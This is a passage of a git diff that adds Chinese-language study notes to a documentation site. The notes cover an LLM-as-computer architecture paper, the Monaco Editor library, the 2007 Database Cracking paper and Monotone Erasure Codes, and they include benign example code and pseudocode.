+        "codebase", 50000, "primary"
+    )
+    context_mgr.add_context(
+        "requirements", 5000, "primary"
+    )
+    
+    # 第二步：任务分解（L6）
+    tasks = coordinator.decompose_task("medium")
+    
+    # 第三步：Agent 调度（L3）
+    for task in tasks:
+        scheduler.schedule(task["task"], task["agent"])
+    
+    # 第四步：执行循环
+    print("\n--- 执行流程 ---")
+    while True:
+        task = scheduler.tick()
+        if task == "idle":
+            break
+        print(f"  → {task}")
+        
+        # 模拟工具调用
+        tool = ToolCall(
+            tool=ToolType.READ_FILE,
+            args={"path": "src/main.py"},
+            id=str(time.time())
+        )
+        if perm_controller.should_execute(tool):
+            print(f"    ✅ 执行完成")
+    
+    # 第五步：性能分析（Agent 加速定律）
+    print("\n--- Agent 加速比分析 ---")
+    for n in [1, 2, 4, 8]:
+        speedup = coordinator.estimate_speedup(0.3, n)
+        print(f"  {n:2d} 个 Agent → {speedup:.2f}x 加速")
+
+
+if __name__ == "__main__":
+    run_ai_coding_workflow()
+```
+
+运行这个示例会展示六层如何协作：上下文加载 → 任务分解 → Agent 调度 → 权限控制 → 执行 → 性能分析。
+
+---
+
+## 四、这个类比的边界：什么时候不成立了
+
+论文最后一部分很重要：它诚实地指出了"LLM 像计算机"这个类比**哪里会失效**：
+
+1. **没有固定指令集**：CPU 的 x86/ARM 是确定的，LLM 的"输出指令集"是概率性的。同样的 prompt 可能产生不同的"机器码"。
+
+2. **没有明确的边界**：操作系统的内核空间和用户空间有硬边界。LLM 的控制平面和执行平面是交织在一起的，没有清晰的分界。
+
+3. **性能模型不同**：CPU 的性能可以用 FLOPS 精确衡量。LLM 的性能还包含语义质量、创造性等难以量化的维度。
+
+4. **错误模型不同**：CPU 出错是 bit flip，可以 ECC 纠正。LLM 出错是"语义错误"——语法正确但逻辑荒谬，更难检测和修复。
+
+论文说：**类比的价值在于启发思考，不在于严格等价。** ICAM 的价值在于提供了一个组织思想的框架，而不是一个可以精确计算的数学模型。
+
+---
+
+## 五、学习总结
+
+### 这张图帮助我理解的核心要点
+
+```
+传统计算机世界          模型原生世界
+─────────              ─────────
+CPU 缓存  ──────→  KV Cache 复用（语义局部性）
+内存管理  ──────→  上下文窗口管理（上下文预算）
+进程调度  ──────→  Agent 调度（确定性控制平面）
+Amdahl定律 ──────→  Agent 加速定律（边际递减）
+ISA 指令集 ──────→  Prompt + 工具协议
+操作系统  ──────→  LLM-as-OS（双平面模型）
+```
+
+### 三个最值得记住的概念
+
+1. **ICAM 六层模型**——给散落的 AI 系统技术一个统一的坐标系
+2. **双平面模型**——LLM = 概率性执行平面 × 确定性控制平面
+3. **三条定律**——语义局部性、上下文预算、Agent 加速
+
+### 推荐延伸阅读方向
+
+- vLLM 的 PagedAttention 论文（实践 KV Cache 优化）
+- MemGPT 的"恒定大小 LLM"论文（实践上下文管理）
+- AutoGen / CrewAI 的架构文档（实践多 Agent 协作）
+- 传统计算机架构教材（理解类比来源）
+
+---
+
+*参考资料：Hai Lin. "Model-Native Computing Architecture: Envisioning Future System Architecture Through the Lens of Computer Architecture." arXiv:2606.00288, 2026.*
diff --git a/src/content/docs/papers/moesi-cache-coherence-1986.md b/src/content/docs/papers/moesi-cache-coherence-1986.md
index 29ff50016..1eeefd3ef 100644
--- a/src/content/docs/papers/moesi-cache-coherence-1986.md
+++ b/src/content/docs/papers/moesi-cache-coherence-1986.md
@@ -181,4 +181,5 @@ A 改了 line（M），B 来读：
 - [[kocher-spectre-2019]] —— Spectre 攻击 — 推测执行偷看别人的内存
 - [[paxos-1998]] —— Paxos 1998 — 古希腊议会寓言里藏的共识协议
 - [[raft]] —— Raft — 易理解的共识算法
+- [[spectre-attack-2018]] —— Spectre Attacks — 推测执行如何绕过边界检查偷读内存
 
diff --git a/src/content/docs/papers/monaco-editor-2016.md b/src/content/docs/papers/monaco-editor-2016.md
new file mode 100644
index 000000000..00847edbd
--- /dev/null
+++ b/src/content/docs/papers/monaco-editor-2016.md
@@ -0,0 +1,292 @@
+---
+title: "Monaco Editor: VS Code's Editor as a Library — 把桌面 IDE 编辑器搬进网页"
+来源: https://microsoft.github.io/monaco-editor/
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 日常类比：发动机 vs 整车
+
+想象你要在自家网站里放一个「能写代码的输入框」。最土的做法是 `<textarea>`——像记事本，能打字，但没有语法颜色、没有补全、没有红线报错。
+
+**Monaco Editor** 是 Microsoft 从 Visual Studio Code 里拆出来的**编辑器发动机**：不是仿 VS Code 的 UI 皮肤，而是 VS Code 每天数百万人在用的那一颗 `src/vs/editor` 内核，重新打包成可在任意网页里 `npm install` 的 JavaScript 库。
+
+日常类比可以分三层：
+
+| 层次 | 类比 | Monaco 对应物 |
+|------|------|----------------|
+| 整车 | 完整 VS Code 桌面应用 | `code` 可执行文件 + Workbench |
+| 发动机 | 可单独安装的编辑器库 | `monaco-editor` npm 包 |
+| 轮胎 | 只读高亮展示 | Shiki / Prism（不是编辑器） |
+
+2016 年前后，Monaco 以独立包形式发布，宣告「浏览器也能跑 VS Code 级编辑体验」。今天 GitHub.dev、StackBlitz、Replit、CodeSandbox、Theia 等产品里的代码区，底层常见的就是这颗发动机。
+
+## 是什么
+
+**Monaco Editor**（常简称 Monaco）是：
+
+- 运行在浏览器里的**代码编辑器 SDK**
+- VS Code 仓库中 `src/vs/editor/` 子树的 **standalone 构建**
+- 提供 `monaco.editor.create()`、`monaco.languages.*` 等与桌面扩展几乎同形的 API
+
+它**不是**富文本编辑器（不做 Word 式排版），也**不是**完整 IDE（没有内置文件树、终端、调试面板——那些属于 Workbench 层，需你自己或用 Theia / code-server 拼装）。
+
+官方入口：[microsoft.github.io/monaco-editor](https://microsoft.github.io/monaco-editor/)  
+Playground 可在线试 API：[monaco-editor playground](https://microsoft.github.io/monaco-editor/playground.html)
+
+## 为什么重要
+
+不理解 Monaco，以下几类问题很难答清：
+
+1. **为什么网页里写 TypeScript 能像桌面一样立刻报类型错？** —— 内置 TS/CSS/JSON/HTML 语言服务跑在 Web Worker，主线程只收结果。
+2. **为什么 bundle 动辄 1MB+ 仍被广泛采用？** —— 买的是整套 IDE 语义协议（补全、hover、诊断、跳转），不是换一个彩色 textarea。
+3. **为什么 VS Code 扩展和 Monaco 扩展 API 长得像？** —— 同源代码；`registerCompletionItemProvider` 在两边是同一套契约。
+4. **为什么大文件时高亮会突然变弱？** —— 有明确的性能降级阈值（超长行、超大文件会关 token、括号匹配等）。
+
+和 [[codemirror-6-architecture]] 对照：CodeMirror 6 走「小核心 + 扩展 Facet」的函数式组合；Monaco 走「桌面编辑器整块复用 + Worker 语言服务」——体积更大，但开箱即用的 IDE 能力更强。
+
+## 架构全景：MVVM + 分层目录
+
+Monaco 内部采用 **Model – ViewModel – View** 分离（官方设计文档用语），与 VS Code 编辑器层一致：
+
+```mermaid
+flowchart LR
+  subgraph Model["Model（真理源）"]
+    TM[ITextModel / PieceTree 缓冲]
+    Tok[Markers / Tokens]
+    Dec[Decorations]
+  end
+
+  subgraph VM["ViewModel（桥接）"]
+    Ctx[Cursor / Selection 状态]
+    Xform[坐标与换行变换]
+  end
+
+  subgraph View["View（DOM 投影）"]
+    Lines[虚拟滚动行渲染]
+    Input[键盘 / IME / 粘贴]
+    Wid[Content / Overlay Widgets]
+  end
+
+  Input --> VM
+  VM --> TM
+  TM --> VM
+  VM --> Lines
+  Tok --> Lines
+  Dec --> Lines
+```
+
+**关键规则**：扩展和语言服务**不直接摸 View**，只通过 Model 与 Provider 注册表交互。这样虚拟滚动、IME 组合输入、撤销重做时，不会出现「DOM 和真值各写各的」撕裂。
+
+源码目录（摘自 VS Code `src/vs/editor/`）：
+
+| 目录 | 职责 |
+|------|------|
+| `common/` | 文本模型、选区、语言特性接口、核心服务 |
+| `browser/` | DOM 渲染、输入控制器、编辑器 widget |
+| `contrib/` | Find、Hover、Suggest、折叠等 60+ 内置贡献点 |
+| `standalone/` | 打包成 `monaco-editor` 时的浏览器入口 |
+
+在 VS Code 整体分层里，Editor 层坐在 Platform 之上、Workbench 之下——Monaco 只导出 Editor 层，不带 Workbench。
+
+## 核心概念
+
+### 1. Model 与 Editor 分离
+
+- **`ITextModel`**：文件内容的真理源（基于 **Piece Tree** 文本缓冲，支持大文件与频繁编辑）。
+- **`ICodeEditor`**：用户看到的编辑表面，持有（或切换）一个 model。
+- 多个 editor 可**共享同一个 model**（例如左右分屏编辑同一文件）。
+
+读内容、订阅变化应走 model API，**不要读 DOM**：虚拟滚动下 DOM 只渲染可见行。
+
+### 2. URI + version 的异步契约
+
+语言服务（补全、诊断）在 Worker 里算，结果回到主线程时可能已过期。Monaco 用 `model.uri` 标识文件、`model.getVersionId()` 标识版本——**过期结果直接丢弃**，避免把旧补全写回新文档。这是「多线程编辑器」比 try/catch 更根本的防线。
+
+### 3. Web Worker 语言服务
+
+TypeScript、JSON、CSS、HTML 等内置语言默认在独立 Worker 中运行编译器/解析器，避免阻塞输入。主线程通过 `postMessage` 同步 model 镜像并请求语义结果。自定义语言可注册轻量 provider，或通过 [monaco-languageclient](https://github.com/TypeFox/monaco-languageclient) 接远程 LSP。
+
+### 4. Provider 扩展模型
+
+语言能力通过**注册表**注入，而非改内部类：
+
+- `registerCompletionItemProvider` — 补全
+- `registerHoverProvider` — 悬浮提示
+- `registerDefinitionProvider` — 跳转定义
+- `registerDocumentFormattingEditProvider` — 格式化
+
+这与 VS Code 的 `vscode.languages.*` 同构，降低「网页插件 ↔ 桌面扩展」的双端成本。
+
+### 5. 虚拟滚动与性能降级
+
+只把视口内的行挂到 DOM；滚动时复用节点。超过阈值（如单行极长、文件极大）会主动关闭部分语言特性以保证编辑器仍可用——表现为「突然不高亮了」，属于设计行为而非 bug。
+
+### 6. Diff Editor
+
+`monaco.editor.createDiffEditor()` 同时展示 original / modified 两个 model，内置并排 diff 视图，适合 PR 审查、配置对比、教程「改前/改后」展示。
+
+## 代码示例 1：最小可运行编辑器
+
+下面是在现代 bundler（Vite / webpack）里最常见的嵌入方式。`language` 决定加载哪套内置语言服务；`theme` 使用 VS Code 同款配色名。
+
+```html
+<div id="editor" style="height: 480px; border: 1px solid #333;"></div>
+<script type="module">
+  import * as monaco from 'monaco-editor'
+
+  const editor = monaco.editor.create(document.getElementById('editor'), {
+    value: [
+      '// Monaco: VS Code 编辑器作为库',
+      'function greet(name: string) {',
+      '  return `Hello, ${name}!`',
+      '}',
+      '',
+      'greet("world")',
+    ].join('\n'),
+    language: 'typescript',
+    theme: 'vs-dark',
+    automaticLayout: true, // 容器尺寸变化时自动 layout
+    minimap: { enabled: false },
+  })
+
+  // 真值在 model 上，不在 DOM 上
+  editor.getModel()?.onDidChangeContent(() => {
+    console.log('version', editor.getModel()?.getVersionId())
+  })
+</script>
+```
+
+**要点**：
+
+- `automaticLayout: true` 在 SPA 里几乎必备，否则侧栏折叠后编辑器空白。
+- Worker 脚本路径需 bundler 正确配置（`MonacoWebpackPlugin` 或 Vite 官方 sample），否则语言服务 404。
+
+## 代码示例 2：自定义补全 Provider
+
+官方 Playground 有完整示例；下面演示为 `markdown` 注册 `/` 触发的片段补全（与 [[projects/monaco-editor]] 中案例同构，此处强调 **range** 必须对齐当前词边界）：
+
+```javascript
+import * as monaco from 'monaco-editor'
+
+monaco.languages.registerCompletionItemProvider('markdown', {
+  triggerCharacters: ['/'],
+  provideCompletionItems(model, position) {
+    const word = model.getWordUntilPosition(position)
+    const range = {
+      startLineNumber: position.lineNumber,
+      endLineNumber: position.lineNumber,
+      startColumn: word.startColumn,
+      endColumn: word.endColumn,
+    }
+    return {
+      suggestions: [
+        {
+          label: 'todo-snippet',
+          kind: monaco.languages.CompletionItemKind.Snippet,
+          documentation: '插入 TODO 占位片段',
+          insertText: 'TODO: ${1:描述}',
+          insertTextRules:
+            monaco.languages.CompletionItemInsertTextRule.InsertAsSnippet,
+          range,
+        },
+      ],
+    }
+  },
+})
+```
+
+**踩坑提示**：若注册 `registerCompletionItemProvider('csharp', …)` 后**本地变量补全消失**，常与 provider 评分/合并策略有关；社区常见做法是对特定语言用 `'*'` 注册并在回调里判断 `model.getLanguageId()`，或与内置 word completion 并存——详见 [VS Code issue #21611](https://github.com/microsoft/vscode/issues/21611) 讨论。
+
+使用 Vite 时若补全菜单完全不出现，检查是否打包了 `contrib/suggest` 模块（仅 `import 'monaco-editor'` 有时不包含全部 contrib）。
+
+## 代码示例 3：Diff Editor（改前 / 改后）
+
+```javascript
+import * as monaco from 'monaco-editor'
+
+const diffEditor = monaco.editor.createDiffEditor(
+  document.getElementById('diff-root'),
+  { renderSideBySide: true, readOnly: false }
+)
+
+const original = monaco.editor.createModel('const x = 1\n', 'javascript')
+const modified = monaco.editor.createModel('const x = 2\n', 'javascript')
+
+diffEditor.setModel({ original, modified })
+```
+
+Diff 两侧仍是独立 model，可分别 `onDidChangeContent`；合并结果需你自己从 `modified` 读取。
+
+## 与 VS Code 的关系
+
+| 维度 | VS Code 桌面 | Monaco 库 |
+|------|-------------|-----------|
+| 代码来源 | `src/vs/editor` + Workbench |  mainly `standalone` 构建的 editor |
+| 扩展宿主 | Extension Host 进程 | 网页内 JS，无完整扩展市场 |
+| 文件系统 | 真实磁盘 | 需应用自建（常是虚拟 FS） |
+| 语言服务 | 内置 + 扩展 LSP | 内置 Worker + 可选 monaco-languageclient |
+
+Monaco **不是** VS Code 的阉割骗局，而是**故意只导出编辑器层**；要「浏览器里完整 VS Code」，看 [[code-server]] / [[openvscode-server]]。
+
+## 适用 vs 不适用
+
+**适用**：
+
+- 在线 IDE、教程沙箱、JSON/YAML 配置面板、低代码脚本区
+- 需要补全、诊断、格式化、hover 的**代码**场景
+- 希望与桌面 VS Code 共享语言扩展思路的团队
+
+**不适用**：
+
+- 富文本（标题、图片）→ [[prosemirror]] / [[lexical]]
+- 极致小包体（<200KB gzip）→ [[codemirror-6-architecture]]
+- 只读展示、无交互 → Shiki / highlight.js
+- 移动端为主 → Monaco 为桌面浏览器输入模型优化
+
+## 常见坑
+
+1. **忘记 dispose**：`editor.dispose()` 后，若 model 无其他引用，应 `model.dispose()`，否则 SPA 路由切换泄漏内存。
+2. **Worker 路径**：生产构建必须显式配置 worker entry，开发环境「能跑」、上线 404 是经典事故。
+3. **用 CSS 硬改内部 class**：行高/光标由内部测量决定，应优先 `monaco.editor.defineTheme()`。
+4. **超大单文件**：超过内置阈值会降级语言特性，需分片或截断，别当成「坏了」。
+
+## 历史时间线（简）
+
+- **2011**：Microsoft 内部「Monaco」代号，服务 Azure 网页编辑场景。
+- **2015**：VS Code 发布，编辑器以 TypeScript 实现在 `src/vs/editor`。
+- **2016**：`monaco-editor` 独立 npm 包，API 与 Playground 公开，社区开始写自定义 completion provider（如 [issue #241](https://github.com/microsoft/monaco-editor/issues/241)）。
+- **2018+**：Piece Tree 缓冲重写、Codespaces 类产品推动「浏览器 = 一等 IDE 环境」。
+- **现在**：与 VS Code 主仓库持续同步；React 集成常用 [@monaco-editor/react](https://www.npmjs.com/package/@monaco-editor/react)。
+
+## 学到什么
+
+1. **真理源在 Model，View 只是投影** —— 一切语言特性围绕 `ITextModel`，不是围绕 DOM。
+2. **Worker 是一等公民** —— 不是事后优化，而是架构边界。
+3. **库 vs 应用** —— Monaco 卖发动机；Workbench 要另买或自建。
+4. **Provider 协议的价值** —— 扩展点稳定比内部类继承更重要。
+5. **体积是能力定价** —— 1MB+ 买的是 IDE 语义，不是 CSS 高亮。
+
+## 延伸阅读
+
+- 官方文档与 API typings：[monaco-editor docs](https://microsoft.github.io/monaco-editor/docs.html)
+- 交互 Playground：[Extending language services – completion](https://microsoft.github.io/monaco-editor/playground.html#extending-language-services-completion-provider-example)
+- 编辑器设计（MVVM）：[VS Code Wiki – Code Editor Design Doc](https://github.com/microsoft/vscode/wiki/%5BWIP%5D-Code-Editor-Design-Doc)
+- Piece Tree 缓冲：[Text Buffer Reimplementation](https://code.visualstudio.com/blogs/2018/03/23/text-buffer-reimplementation)（VS Code 博客）
+- 接 LSP：[TypeFox/monaco-languageclient](https://github.com/TypeFox/monaco-languageclient)
+- Vite + React 官方 sample：[monaco-editor/samples/browser-esm-vite-react](https://github.com/microsoft/monaco-editor/tree/main/samples/browser-esm-vite-react)
+
+## 关联
+
+- [[projects/monaco-editor]] — 本仓库中的项目向笔记（案例与踩坑更偏工程）
+- [[codemirror-6-architecture]] — 另一套 Web 代码编辑器架构对照
+- [[language-server-protocol-spec]] — Monaco 可通过 language client 对接 LSP
+- [[vscode]] — Monaco 的「整车」出处
+- [[theia]] — 用 Monaco 作默认编辑器的云 IDE 框架
+- [[shiki]] — 只读染色；与 Monaco 互补而非竞争
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
diff --git a/src/content/docs/papers/monetdb-cracking-2007.md b/src/content/docs/papers/monetdb-cracking-2007.md
new file mode 100644
index 000000000..197690601
--- /dev/null
+++ b/src/content/docs/papers/monetdb-cracking-2007.md
@@ -0,0 +1,239 @@
+---
+title: Database Cracking — 不用建索引，让查询自己塑造数据
+来源: https://stratos.seas.harvard.edu/files/IKM_CIDR07.pdf
+日期: 2026-06-13
+分类: 数据库
+子分类: 存储与查询
+provenance: pipeline-v3
+---
+
+# Database Cracking（2007）
+
+> **作者**: Stratos Idreos, Martin L. Kersten, Stefan Manegold（CWI Amsterdam）
+> **发表**: CIDR 2007
+
+## 1. 一句话核心
+
+传统数据库在「更新时」维护索引；Database Cracking 把索引维护推迟到「查询时」——每次查询顺便把数据整理一下，让下次同类查询更快。
+
+## 2. 日常类比：图书馆与自助归书架
+
+想象一个没有固定分类规则的图书馆。
+
+**传统做法（B-Tree 索引）**：
+管理员先把所有书按编号排好序（建索引），读者借书时直接二分查找。但每次新书入库，管理员都要花精力插入到正确位置。如果读者对某一类书感兴趣，管理员会提前把所有这类书集中摆放——这需要提前知道读者的偏好。
+
+**Cracking 做法**：
+没有管理员。第一位读者要借 100-200 号的书，他从整堆书中挑出这些书放到一起（物理重排），然后取走。书架变成了三段：≤99、100-200、≥201。第二位读者要借 70-150 的书，他只需要重新整理 ≤99 和 201-∞ 这两段（把 100-150 的部分分离出来），中间那段 100-200 不用动。几次之后，书架自然形成了按编号分段的格局——不需要管理员提前知道什么书受欢迎，读者自己就把秩序「练」出来了。
+
+这个「自己练出秩序」的能力，论文叫 **self-organization（自组织）**。
+
+## 3. 传统索引 vs Cracking
+
+| 维度 | B-Tree 索引 | Database Cracking |
+|------|-------------|-------------------|
+| 维护时机 | 每次 INSERT/UPDATE 时 | 每次 SELECT 查询时 |
+| 需要预知 workload？ | 需要（决定建什么索引） | 不需要，查询驱动 |
+| 建好后的查询速度 | 极快（O(log n)） | 接近最优（段内二分） |
+| 初期代价 | 高（建索引 + 维护） | 低（首次查询就整理） |
+| 索引漂移 | 需要重新 build | 天然适应，自动分裂/合并 |
+
+## 4. 核心概念拆解
+
+### 4.1 Cracker Column（碎裂列）
+
+对原始列 A 维护一份**拷贝** `A_crk`。这份拷贝中的数据按值域被切成若干「片段（Piece）」：
+
+```
+A_crk = [ Piece1: A≤7 ] [ Piece2: 7<A≤10 ] [ Piece3: 10<A<14 ] [ Piece4: 14≤A≤16 ] [ Piece5: A>16 ]
+```
+
+每个 Piece 内部不一定完全有序，但所有 Piece 之间的值域是**不重叠的**。
+
+### 4.2 Cracker Index（碎裂索引）
+
+一个 AVL 树，每个节点记录一个边界值 v 以及它在 A_crk 中的分割位置 `p`。
+
+```
+AVL 节点结构:
+  value:  7    →  在位置 7 分割
+  value:  10   →  在位置 14 分割
+  value:  14   →  在位置 22 分割
+  value:  16   →  在位置 28 分割
+```
+
+有了这个索引，新来的查询可以直接定位到需要处理的 Piece，不需要全列扫描。
+
+### 4.3 Column Slice（列切片）
+
+Cracking 的结果就是一个「视图」——不需要复制数据，直接返回满足条件的 Piece 编号范围。这就是论文说的 **zero-cost result**。
+
+## 5. 核心算法
+
+### 5.1 Two-Piece Cracking（两段碎裂）
+
+把一段列按一个中值 `med` 分成两段：`< med` 和 `≥ med`。
+
+```
+Algorithm: CrackInTwo(c, posL, posH, med, inc)
+输入:
+  c     - 列
+  posL  - 起始位置
+  posH  - 结束位置
+  med   - 分割阈值
+  inc   - med 是否包含在左侧（inc=false → 左: <med, 右: ≥med）
+
+过程:
+  x1 = 指向 posL 的指针（从左往右扫）
+  x2 = 指向 posH 的指针（从右往左扫）
+  
+  while x1 的位置 < x2 的位置:
+    if x1 的值 < med:
+      x1 右移一位   # 已经在正确的一侧
+    else:
+      # x1 的值 ≥ med，需要移到右侧
+      # 从右找 < med 的值
+      while x2 的值 >= med 且 x2 在 x1 左边:
+        x2 左移一位
+      交换 x1 和 x2 指向的值
+      x1 右移一位
+      x2 左移一位
+```
+
+这本质上就是 **快排的 partition 操作**，原地重排，只碰需要移动的数据。
+
+### 5.2 Three-Piece Cracking（三段碎裂）
+
+针对 double-sided 谓词 `low < A < high`，一次遍历分成三段：`≤low`、`low<A<high`、`≥high`。
+
+```
+Algorithm: CrackInThree(c, posL, posH, low, high, incL, incH)
+输入:
+  c     - 列
+  posL  - 起始位置
+  posH  - 结束位置
+  low   - 下阈值
+  high  - 上阈值
+  incL  - low 是否包含在左侧
+  incH  - high 是否包含在右侧
+
+过程:
+  x1 = 指向 posL 的指针（左指针）
+  x2 = 指向 posH 的指针（右指针）
+  xm = 指向 posL 的中间指针（扫描当前段）
+  
+  while xm 的位置 <= x2 的位置:
+    if xm 的值在 (low, high) 范围内:
+      交换 xm 和 x2，x2 左移   # 中间段从右往左生长
+    elif xm 的值 <= low:
+      交换 xm 和 x1，x1 右移，xm 右移   # 左段从左往右生长
+    else:
+      xm 右移   # 值 > high，属于右侧，不动
+```
+
+三路划分的思想其实和 Hoare 的三路快排（Dutch National Flag）一样：`<low`、`[low,high]`、`>high` 三个区域。
+
+### 5.3 查询处理流程
+
+```sql
+-- 假设原始表 R 有一列 A
+SELECT * FROM R WHERE R.A > 10 AND R.A < 14;
+
+-- Cracker 处理步骤:
+-- 1. 查 Cracker Index，找到需要处理的 Piece
+-- 2. 对涉及的 Piece 执行 CrackInTwo / CrackInThree
+-- 3. 更新 Cracker Index
+-- 4. 返回 Column Slice（Piece 编号范围，零拷贝）
+```
+
+## 6. 两个完整示例
+
+### 示例 1：逐步碎裂的过程
+
+```
+初始列 A:  [13, 16, 4, 9, 2, 12, 7, 1, 19, 3, 14, 11, 8, 6]
+
+查询 Q1: SELECT * FROM R WHERE A > 10 AND A < 14
+→ 需要 A 在 (10, 14) 范围内的值
+→ 执行 CrackInThree(col A, 0, 13, low=10, high=14)
+→ 一趟遍历后重新排列:
+   
+  左侧 (A ≤ 10):  [4, 9, 2, 7, 1, 3, 8, 6]
+  中间 (10 < A < 14): [12, 11, 13]   ← 这就是 Q1 的结果
+  右侧 (A ≥ 14):  [16, 19, 14]
+
+→ 返回中间段作为 Q1 的结果（零成本切片）
+→ 更新 Cracker Index: 加入边界 10 和 14
+
+查询 Q2: SELECT * FROM R WHERE A > 7 AND A <= 10
+→ 查 Cracker Index 发现: 
+    Piece A≤10 需要分裂（因为 Q2 要 7<A≤10）
+    Piece 10<A<14 不需要动（全部不满足 A≤10）
+    Piece A≥14 不需要动
+→ 只在 [4, 9, 2, 7, 1, 3, 8, 6] 上执行 CrackInTwo(med=7):
+
+  A ≤ 7:  [4, 2, 7, 1, 3, 6]
+  A > 7:  [9, 8]   ← 这就是 Q2 需要的部分
+
+→ 现在列的状态:
+  Piece 1: A ≤ 7    → [4, 2, 7, 1, 3, 6]
+  Piece 2: 7 < A ≤ 10 → [9, 8]
+  Piece 3: 10 < A < 14 → [12, 11, 13]
+  Piece 4: 14 ≤ A ≤ 16 → [16, 14]
+  Piece 5: A > 16 → [19]
+  
+→ Q2 的结果 = Piece 2 ∪ Piece 3（两个连续片段的拼接）
+```
+
+### 示例 2：查询序列的加速效果
+
+```
+场景: 1000 万次整数的列，连续执行 3000 万次范围查询
+
+时间线对比（累计响应时间，越低越好）:
+
+  查询次数 →
+  │
+  │    Simple Scan（每次全扫）: ━━━━━━━━━━━━━━━━━━ 线性增长
+  │
+  │    Sort + Binary Search（先排序后二分）: ━━━ 前期慢（排序开销）
+  │                                                 后期极快
+  │
+  │    Cracking（查询驱动）: ━━ 前期接近 sort
+  │                           后期追平 sort，且无需预知 workload
+  │
+  └───────────────────────────────────────────────→
+
+关键发现:
+- 首次查询：Cracking 和 Sort 差不多（都在整理数据）
+- 第 2~100 次查询：Cracking 已经明显快于全扫，接近排序
+- 第 1000 次之后：Cracking 和 Sort 几乎持平
+- 优势：Cracking 不需要提前知道数据分布，也不需要预建索引
+```
+
+## 7. 性能实验要点
+
+论文在 MonetDB 上做了测试（2.4GHz Athlon 64, 2GB RAM, 7200rpm 磁盘）：
+
+1. **Select 算子基准测试**：1000 万行的 range 查询序列，Cracking 在约 3000 次查询后追上 Sort 的性能
+2. **不同选择性（Selectivity）**：结果集越小，Cracking 达到最优性能越快（因为每次只重排小部分）
+3. **TPC-H Query 6**：Cracking 使 MonetDB/SQL 的性能优于带 B-Tree 的 PostgreSQL 和 MySQL
+4. **自组织能力**：即使查询的焦点在数据空间里随机跳动，Cracking 也能自动适应
+
+## 8. 开放研究问题（论文列出的 Future Work）
+
+- **并发控制**：多个查询同时访问同一列的 Cracker Column 时如何处理？
+- **Cut-off 策略**：什么时候不再分裂 Piece？需要成本模型判断
+- **更多 Cracking 算子**：Join、Aggregate 能否也 Cracking？
+- **分布式 Cracking**：Partition 后每个节点独立 Cracking
+- **A-priori Cracking**：系统空闲时预执行「假查询」来预热数据布局
+
+## 9. 你的理解检查
+
+这篇文章最反直觉的点在哪里？
+
+想想看：我们花了数十年学习如何**高效地维护索引**（B-Tree、LSM-Tree、Bitmap），而这篇论文提出——**索引维护本身就是一种浪费**，不如把它变成查询的「副作用」。这相当于说：「别在更新时记账了，等客人结账的时候再一起整理账本。」
+
+一个值得思考的问题：Cracking 假设的是列存（column store）架构——MonetDB 的核心设计。如果是行存系统（如 MySQL InnoDB），Cracking 还能工作吗？为什么？
+
+想清楚这个，你就理解了为什么 Cracking 是列存数据库的「天作之合」。
diff --git a/src/content/docs/papers/monotone-erasure-codes-arxiv-2605-22426.md b/src/content/docs/papers/monotone-erasure-codes-arxiv-2605-22426.md
new file mode 100644
index 000000000..7d4b3e6bd
--- /dev/null
+++ b/src/content/docs/papers/monotone-erasure-codes-arxiv-2605-22426.md
@@ -0,0 +1,485 @@
+---
+title: Monotone Erasure Codes — 零基础学习笔记
+来源: https://arxiv.org/abs/2605.22426
+日期: 2026-06-13
+分类: 分布式系统
+子分类: 共识与复制
+provenance: pipeline-v3
+---
+
+# Monotone Erasure Codes — 零基础学习笔记
+
+## 一、从日常类比开始
+
+想象你有一封重要的信，内容是你银行卡的密码。你不想把这封信交给一个人保管——万一他丢了或偷看了怎么办？
+
+传统做法是复印 5 份，交给 5 个朋友各自保管。任意 3 个人凑在一起就能还原密码。这就是经典的 **Erasure Code（纠删码）**，最出名的是 Reed-Solomon 码。它的规则很简单："n 份里任意 k 份就能恢复"。
+
+但现实世界没那么整齐。
+
+- 你的 A 朋友是银行家，极度可靠
+- 你的 B 朋友是个马虎鬼，经常丢三落四
+- 你的 C 朋友是新搬来的邻居，你还不了解他
+
+如果你还是把 5 份平均分配给 5 个"平等"的朋友，B 丢了那份，可能就永远凑不齐 3 份了。
+
+**Monotone Erasure Code（单调纠删码）的核心想法是：不同人值得不同的信任级别。**
+
+它允许你这样分配：
+
+- 把信分成两部分：f1（密码前半段）和 f2（后半段）
+- 给 A 和另一个可靠朋友各一份 f1
+- 给 C、D、E 各一份 f2
+- 规则变成："要么 A + 另一个可靠朋友（凑齐 f1），要么 C+D+E 三个新手（凑齐 f2），都能还原整封信"
+
+这就是论文要解决的事情——让纠删码能表达**非对称的、复杂的信任关系**，而不仅仅是"任意 k 份"。
+
+---
+
+## 二、背景：经典纠删码的局限
+
+### 2.1 什么是 Erasure Code？
+
+经典纠删码（如 Reed-Solomon）的工作原理：
+
+1. 原始数据有 k 个片段
+2. 编码成 n 个片段（n > k），每个片段等长
+3. 任意 k 个片段都能还原原始数据
+4. 最多容忍 n - k 个片段丢失
+
+举个例子：k=3, n=5。数据是 [A, B, C]，编码后得到 5 个片段。任意 3 个都能还原。
+
+### 2.2 问题在哪里？
+
+经典模型假设**所有节点出问题的概率相同**。但在区块链系统中：
+
+- Stellar 网络的验证节点有不同的信任等级
+- XRP Ledger 使用"信任线"（trust lines）定义节点关系
+- 有些节点由大机构运营（更可靠），有些由个人运营（更不可靠）
+
+用"任意 k 份"来描述这种场景就力不从心了。
+
+---
+
+## 三、核心概念
+
+### 3.1 访问结构（Access Structure）
+
+**定义：** 一个访问结构是一组"最小可行集合"。只要这些集合中的任意一个能凑齐，就能还原数据。
+
+用数学符号写：设节点集合 P = {p1, p2, ..., pn}，访问结构 A 是 P 的子集族，满足"不存在一个集合包含在另一个里面"。
+
+**实际例子：** 有 5 个节点 {A, B, C, D, E}，访问结构可能是：
+
+```
+A = {{A, C, D}, {B, C, D}}
+```
+
+意思是：要么 A+C+D 凑齐，要么 B+C+D 凑齐，都能还原数据。
+
+### 3.2 单调布尔公式（MBF）
+
+访问结构可以用一种公式来表达，叫做 Monotone Boolean Formula：
+
+- **AND**：所有子句都必须为真
+- **OR**：至少一个子句为真
+- **Threshold (k of m)**：m 个子句中至少 k 个为真
+
+比如：`(A OR B) AND (C OR D OR E)` 表示：
+
+- A 或 B 至少一个在线，**并且**
+- C、D、E 中至少一个在线
+
+用论文里的记号写成：`Θ(1 of 2(A,B), 1 of 3(C,D,E))`
+
+### 3.3 Monotone Erasure Code 的定义
+
